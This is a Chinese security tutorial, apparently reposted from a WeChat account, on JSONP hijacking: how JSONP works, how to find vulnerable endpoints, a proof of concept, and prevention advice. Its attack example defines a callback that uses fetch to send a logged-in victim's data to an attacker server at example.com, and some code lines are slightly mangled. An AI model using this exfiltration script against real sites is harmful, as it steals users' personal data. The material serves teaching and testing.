JSONP劫持漏洞

admin 2025年4月9日20:41:46评论4 views字数 1639阅读5分27秒阅读模式

JSONP

JSONP(JSON with Padding)是一种绕过同源策略,跨域访问资源的技术,原理是通过利用<script>标签可以跨域访问资源的特性。

特点

仅允许GET方法。

服务器支持JSONP。

工作原理

例如网站A和B,A想要跨域访问B网站上的用户信息,即A为客户端,B为服务端,流程如下:

1、客户端定义回调函数。

functiontest(data//定义一个名为test的函数,data为test的参数,表示调用时传入的值。
console.log("收到数据:", data); //在控制台输出:“收到数据:data参数”
}

客户端需要先定义一个回调函数,用来处理服务器返回的数据。

2、客户端发起跨域请求。

<scriptsrc="http://b.com/api/userinfo?callback=test"></script>

URL地址是B网站获取用户信息的接口地址,callback是一个约定俗成的参数名,用来告诉服务器,将返回内容包裹在指定的函数中,并且是以JS格式。callback并不是固定的,也有可能是其他参数名,比如cbjsonpfunc等等。

3、服务器返回数据。

服务器收到请求后,将数据包裹在客户端指定的回调函数中,并返回给客户端。

test({"name""Alice""age"30});

4、浏览器执行回调函数。

客户端收到数据后,执行预先定义好的回调函数,数据在控制台输出。

JSONP劫持

目标网站使用JSONP实现跨域访问,攻击者构造恶意脚本,内容为访问目标接口,将内容返回到攻击者服务器,参考脚本如下:

<script>
functiontest(data{
// 将数据发送到攻击者服务器
    fetch('https://example.com?data=' + encodeURIComponent(JSON.stringify(data)));
  }
</script>
<scriptsrc="http://b.com/api/userinfo?callback=test"></script>

攻击流程

1、用户登录目标网站。

要求用户必须登录目标网站(http://b.com),并保持会话(Cookie有效)。

2、用户访问恶意网站。

诱导用户点击恶意链接,访问恶意网站(http://example.com)。

3、发起JSONP请求。

用户访问后,恶意脚本被执行,浏览器会自动携带用户Cookie,获取用户数据,并返回到攻击者服务器。

危害

敏感信息泄露:包括但不限于用户个人信息(姓名、邮箱、手机号)、账户凭证(用户ID、用户账号名)、隐私内容(订单、私信)等,主要看目标网站接口都具体返回什么内容。

漏洞挖掘

识别JSONP接口

F12打开浏览器开发者工具,转到Network(网络)面板,查找URL中带有callback=xxx、cb=xxx、jsonp=xxx等参数的请求。

JSONP劫持漏洞

或者在调试器搜索callback等关键字也可以。

JSONP劫持漏洞

检查敏感数据

案例中使用的console.log函数,转到控制台查看结果。

JSONP劫持漏洞

或者直接访问目标接口,查看是否有敏感信息。

JSONP劫持漏洞

如果存在敏感信息,则可以考虑继续测试。

漏洞验证

PoC参考如下:

<script>
functiontest(data{
console.log("收到数据:", data);
    }
</script>
<scriptsrc="http://127.0.0.1/jsonp/userinfo?callback=test"></script>

在用户登录的浏览器下访问PoC文件,如果控制台输出敏感数据,则存在JSONP劫持漏洞。

预防

1、使用CORS+Token替代JSONP。

2、对敏感接口禁用跨域访问或不支持JSONP。

3、使用Token校验,如果身份验证未通过,则不返回数据。

总结

如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!

原文始发于微信公众号(安全攻防实验室):JSONP劫持漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月9日20:41:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JSONP劫持漏洞https://cn-sec.com/archives/3934989.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息